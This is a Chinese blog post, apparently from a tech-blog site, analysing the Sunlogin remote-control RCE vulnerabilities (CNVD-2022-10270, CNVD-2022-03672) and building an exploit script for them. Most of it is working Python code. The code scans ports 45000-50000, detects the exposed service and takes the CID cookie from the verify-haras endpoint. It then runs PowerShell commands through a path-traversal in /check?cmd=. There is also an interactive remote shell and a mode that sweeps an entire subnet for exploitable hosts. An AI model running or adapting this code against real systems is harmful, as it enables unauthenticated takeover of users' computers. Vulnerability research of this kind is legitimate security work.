向日葵远程RCE漏洞分析及漏洞利用脚本编写
- 个人版 ≤ V11.0.0.33
- 简约版 ≤ V1.0.1.43315
- 漏洞编号:CNVD-2022-10270、CNVD-2022-03672
- 漏洞级别:高危
- Windows 10 家庭中文版
- Exeinfo PE - ver.0.0.6.7
- upx - 3.96 - win64
- IDA Pro 7.5
- SunloginClient_11.0.0.33162_X64

















- windows 7 家庭版
- windows 10 家庭中文版
- nmap、curl
- SunloginClient_11.0.0.33162_X64





- 对靶机进行端口扫描,判断是否有可利用端口
- 进行漏洞利用(1.拿CID 2.尝试RCE)
- 模拟 shell
1 from socket import *
2
3 def scanport(host, port):
4 try:
5 s = socket(AF_INET, SOCK_STREAM) #创建一个 socket
6 s.connect((host, port)) #创建一个连接
7 print(f"{port} open") #未出现错误则该端口存活
8 s.close()
9 except:
10 pass
11
12 def scan():
13 host = input("please enter your ip: ")
14 for i in range(45000,50000):
15 scanport(host,i)
16 if __name__ == '__main__':
17 scan()
1 from socket import *
2 import threading
3
4 def scanport(host, port):
5 try:
6 s = socket(AF_INET, SOCK_STREAM) #创建一个 socket
7 s.connect((host, port)) #创建一个连接
8 threading.Lock().acquire() # 创建互斥锁
9 print(f"{port} open") #未出现错误则该端口存活
10 threading.Lock().release() # 释放互斥锁
11 s.close() #释放 socket
12 except:
13 pass
14
15 def scan():
16 #host = input("please enter your ip: ")
17 host = '192.168.159.128'
18 for port in range(45000,50000):
19 t = threading.Thread(target=scanport, args=(host, port))
20 t.start()
21 if __name__ == '__main__':
22 scan()
1 def check():
2 for port in ports:
3 print(f"check {port} ... ...")
4 host_url = 'http://' + str(host) + ':' + str(port)
5 try:
6 url = requests.get(host_url, timeout=1)
7 if str(url.json()) == "{'success': False, 'msg': 'Verification failure'}":
8 RCE_ports.append(port)
9 print(f"---------- {port} may be available! ----------")
10 except:
11 print(f"{port} cannot access.")
1 def RCE():
2 global RCE_port
3 host = '192.168.159.128'
4 url = 'http://' + str(host) + ':' + str(RCE_port) + "/cgi-bin/rpc?action=verify-haras"
5 CID = str(requests.get(url).json())[-45:-13] #截取 CID
6 cookie = {"CID" : CID}
7 rce_url = 'http://' + str(host) + ':' + str(RCE_port) + "/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+echo+1"
8 text = requests.get(rce_url, cookies=cookie).text
9 if str(text) == '1\r\n':
10 print(f"---------- {RCE_port} Rce succeeded! ----------")
1 def shell():
2 global RCE_port, cookie
3 print("start up ... ... \n@exit : q")
4 time.sleep(3)
5 cmd = ''
6 while cmd != 'q':
7 cmd = input(">: ")
8 url = 'http://' + str(host) + ':' + str(RCE_port) + '/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+' + str(cmd)
9 print(requests.get(url, cookies=cookie).text)
1 from socket import *
2 import threading
3 import requests
4 import time
5
6 def scanport(host, port):
7 try:
8 s = socket(AF_INET, SOCK_STREAM) #创建一个 socket
9 s.connect((host, port)) #创建一个连接
10 threading.Lock().acquire() # 创建互斥锁
11 ports.append(port) #未出现错误则该存活端口放入端口池
12 threading.Lock().release() # 释放互斥锁
13 s.close() #释放 socket
14 except:
15 pass
16
17 def scan():
18 print("---------- Start scan ----------")
19 for port in range(45000,50000):
20 t = threading.Thread(target=scanport, args=(host, port))
21 t.start()
22 print(f"----------------- Surviving ports: {ports} ----------------")
23 print(f"---------- Scan succeeded! ----------\n")
24
25 def check():
26 print("---------- Start check ----------")
27 global RCE_port
28 for port in ports:
29 print(f"check {port} ... ...")
30 host_url = 'http://' + str(host) + ':' + str(port)
31 try:
32 url = requests.get(host_url, timeout=1)
33 if str(url.json()) == "{'success': False, 'msg': 'Verification failure'}":
34 RCE_port = str(port)
35 print(f"\n----------------- {port} may be available! ----------------\n")
36 except:
37 print(f"{port} cannot access.")
38 print("---------- check end ----------\n")
39 print(f"---------------- RCE ports: {RCE_port} -----------------\n")
40
41
42 def RCE():
43 global RCE_port, cookie
44 print(f"Try RCE ... ...", end='')
45 url = 'http://' + str(host) + ':' + str(RCE_port) + "/cgi-bin/rpc?action=verify-haras"
46 CID = str(requests.get(url).json())[-45:-13] #截取 CID
47 cookie = {"CID" : CID}
48 rce_url = 'http://' + str(host) + ':' + str(RCE_port) + "/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+echo+1"
49 text = requests.get(rce_url, cookies=cookie).text
50 if str(text) == '1\r\n':
51 print(f" *** {RCE_port} Rce succeeded! ----------\n")
52 return 1
53 return 0
54 '''
55 def shell():
56 global RCE_port, cookie
57 print("start up ... ... \n@'+' replace ' ' \n@exit : q")
58 time.sleep(3)
59 cmd = ''
60 while cmd != 'q':
61 cmd = input(">: ")
62 url = 'http://' + str(host) + ':' + str(RCE_port) + '/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+' + str(cmd)
63 print(requests.get(url, cookies=cookie).text)
64 '''
65 if __name__ == '__main__':
66 ports = [] # 端口池
67 RCE_port = ''
68 cookie = {}
69 host = input("please enter your ip: ")
70 scan()
71 check()
72 if RCE_port:
73 RCE()
1 from socket import *
2 import threading
3 import requests
4 import time
5
6 def scanport(host, port):
7 try:
8 s = socket(AF_INET, SOCK_STREAM) #创建一个 socket
9 s.connect((host, port)) #创建一个连接
10 threading.Lock().acquire() # 创建互斥锁
11 ports.append(port) #未出现错误则该存活端口放入端口池
12 threading.Lock().release() # 释放互斥锁
13 s.close() #释放 socket
14 except:
15 pass
16
17 def scan(host):
18 print("---------- Start scan ----------")
19 for port in range(45000,50000): #默认扫描 45000-50000 端口
20 t = threading.Thread(target=scanport, args=(host, port))
21 t.start()
22 print(f"----------------- Surviving ports: {ports} ----------------")
23 print(f"---------- Scan succeeded! ----------\n")
24
25 def check(host):
26 print("---------- Start check ----------")
27 global RCE_port
28 for port in ports:
29 print(f"check {port} ... ...")
30 host_url = 'http://' + str(host) + ':' + str(port)
31 try:
32 url = requests.get(host_url, timeout=1)
33 if str(url.json()) == "{'success': False, 'msg': 'Verification failure'}":
34 RCE_port = str(port)
35 print(f"\n----------------- {port} may be available! ----------------\n")
36 except:
37 print(f"{port} cannot access.")
38 print("---------- check end ----------\n")
39 print(f"---------------- RCE ports: {RCE_port} -----------------\n")
40
41
42 def RCE(host,port):
43 print(f"Try RCE ... ...", end='')
44 url = 'http://' + str(host) + ':' + str(port) + "/cgi-bin/rpc?action=verify-haras"
45 CID = str(requests.get(url).json())[-45:-13] #截取 CID
46 cookie = {"CID" : CID}
47 rce_url = 'http://' + str(host) + ':' + str(port) + "/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+echo+1"
48 text = requests.get(rce_url, cookies=cookie).text
49 if str(text) == '1\r\n':
50 print(f" *** {port} Rce succeeded! ----------\n")
51 return 1
52 return 0
53 '''
54 def shell():
55 global RCE_port, cookie
56 print("start up ... ... \n@'+' replace ' ' \n@exit : q")
57 time.sleep(3)
58 cmd = ''
59 while cmd != 'q':
60 cmd = input(">: ")
61 url = 'http://' + str(host) + ':' + str(RCE_port) + '/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+' + str(cmd)
62 print(requests.get(url, cookies=cookie).text)
63 '''
64 if __name__ == '__main__':
65 key = input('Please select scan mode\n 1: ip \n 2: segment\n>: ')
66 if key == '1':
67 ports = [] # 端口池
68 RCE_port = ''
69 cookie = {}
70 host = input("please enter your ip: ")
71 scan(host)
72 check(host)
73 if RCE_port:
74 RCE(host,RCE_port)
75 else:
76 host = input('please enter your ip: eg.xx.xx.xx \n>: ')
77 RCE_ip = [] #可利用的 ip 池
78 for c in range(1,256): #枚举
79 host_1 = host + '.' + str(c)
80 ports = []
81 RCE_port = ''
82 cookie = {}
83 print(f"---------------------- check {host_1} ----------------------")
84 scan(host_1)
85 check(host_1)
86 if RCE_port:
87 if RCE(host_1,RCE_port):
88 RCE_ip.append(str(host_1) + ':' + str(RCE_port))
89 print(f"---------------------- end! ----------------------\n")
90 print(f"---------------------- RCE ip {RCE_ip} ----------------------\n")
1 def RCE(host,port):
2 print(f"Try RCE ... ...", end='')
3 try:
4 url = 'http://' + str(host) + ':' + str(port) + "/cgi-bin/rpc?action=verify-haras"
5 CID = str(requests.get(url).json())[-45:-13] #截取 CID
6 cookie = {"CID" : CID}
7 except:
8 print(f"{port} is Unusable!")
9 try:
10 rce_url = 'http://' + str(host) + ':' + str(port) + "/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+echo+1"
11 text = requests.get(rce_url, cookies=cookie).text
12 if str(text) == '1\r\n':
13 print(f" *** {port} Rce succeeded! ----------\n")
14 return 1
15 except:
16 print(f"{port} is Unusable!")
17 return 0
向日葵远程RCE漏洞分析及漏洞利用脚本编写的更多相关文章
- Struts2漏洞分析,漏洞波及全系版本
Struts漏洞分析 Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本.在Struts2.3.15.1版本之前,存在着严重的安全漏洞,如果现在一些比较大的网站是 ...
- CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析
漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc ...
- Spring Core rce漏洞分析(CVE-2022-22965)
漏洞描述: Springmvc框架参数绑定功能,绑定了请求里的参数造成变量注入,攻击者可以实现任意文件写入,漏洞点spring-beans包中. 漏洞编号: CVE-2022-22965 影响范围: ...
- struts2 s2-032漏洞分析
0x01Brief Description 最近面试几家公司,很多都问到了s2漏洞的原理,之前调试分析过java反序列化的漏洞,觉得s2漏洞应该不会太难,今天就分析了一下,然后发现其实漏洞的原理不难, ...
- 【我的第一个现实漏洞分析】 CVE-2017-17215 华为智能路由器HG532 漏洞分析笔记
0x00 基本信息 2017.11.27 Check Point团队报告华为 HG532 产品的远程命令执行漏洞(CVE-2017-17215),Mirai的升级版变种中已经使用该漏洞. 华为HG53 ...
- CVE-2019-0708 漏洞分析及相关测试
在CVE-2019-0708公布后几天就已经尝试过复现该漏洞,但借助当时exp并没能成功复现反弹shell的过程遂放弃,故借助这次漏洞复现报告再来尝试复现该漏洞,因为还在大三学习中,有很多知识还没有掌 ...
- Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...
- web前后端分离漏洞分析防御
web前后端分离漏洞分析防御 漏洞分析,主要漏洞有 一.跨站脚本攻击XSS 程序 + 数据 = 结果:攻击后,数据夹杂一部分程序(执行代码),导致结果改变: 1.XSS攻击注入点 (a):HTML节点 ...
- PHPCMS V9.6.3的后台漏洞分析
PHPCMS V9.6.3后台的漏洞分析 1.利用文件包含创建任意文件getshell 漏洞文件:\phpcmsv9\phpcms\modules\block\block_admin.php 漏洞产生 ...
随机推荐
- 关闭StackExchange等平台的privacy收集窗口
技术背景 当我们打开一个StackExchange页面的时候,经常会出现一个很大的privacy收集窗口,而且不管怎么点都关闭不了,比如像下图这样: 如果屏幕足够大,影响可能也不是很大,但是关键是对于 ...
- ESXI系列问题整理以及记录——使用SSH为设备打VIB驱动包,同时提供一种对于ESXI不兼容螃蟹网卡(Realtek 瑞昱)的问题解决思路
对于ESXI不兼容螃蟹网卡的问题,这里建议购买一张博通的低端单口千兆网卡,先使用博通网卡完成系统部署,再按照下文方法添加螃蟹网卡的VIB驱动,最后拆除博通网卡. 螃蟹网卡VIB驱动包下载地址:http ...
- java类的学习
什么是类: 类=属性+方法 属性来源于状态(以变量的形式存在):方法来源于动作: *属性对应的是数据,而数据只能存在变量中. 方法内的变量为局部变量:类体中的变量称为成员变量(也称为属性) java中 ...
- 关于webstorm打开HTML文件出现404错误的情况
第一种情况是你的端口号错误.你可以到设置里面找到调试器(第四个可以展开的按钮里面),找到端口号,把端口号改成8080(默认),再勾选旁边的按钮(可以接受外部链接). 你的文件命名方式不对,最好的文件名 ...
- 《ECMAScript 6 入门》【一、let、const命令】(持续更新中……)
前言: 我们在ES5都使用var来声明常量跟变量,ES6使用了最新的语法,使用let跟const分别声明.一.let命令: let命令是用于声明变量块级作用域 1. { let a = 10; var ...
- python 连接SAP 代码
def Main(): sap_app = r"C:\Program Files (x86)\SAP\FrontEnd\SAPgui\saplogon.exe" subproces ...
- 分布式机器学习:同步并行SGD算法的实现与复杂度分析(PySpark)
1 分布式机器学习概述 大规模机器学习训练常面临计算量大.训练数据大(单机存不下).模型规模大的问题,对此分布式机器学习是一个很好的解决方案. 1)对于计算量大的问题,分布式多机并行运算可以基本解决. ...
- centos系统和Ubuntu系统命令区别以及常见操作
目录 一.前言 二.系统环境 三.命令区别 3.1 使用习惯和命令区别 3.2 服务管理的区别 3.3 软件包信息区别 四.Ubuntu系统常见操作 4.1 Ubuntu系统apt和apt-get的区 ...
- 在linux上配置Maven环境变量
1.首先下载maven ,这里我使用的是3.8.1 Maven – Download Apache Maven 2.在linux环境中,将maven上传至 /usr/local/目录中 这里我将mav ...
- # Vue3 setup 函数
Vue3 setup 函数 vue2 和 vue3 开发的区别 首先,目前来说 vue3 发布已经有一段时间了,但是呢,由于还处于优化完善阶段,对于 vue3 开发项目的需求不是很高,主要还是以 vu ...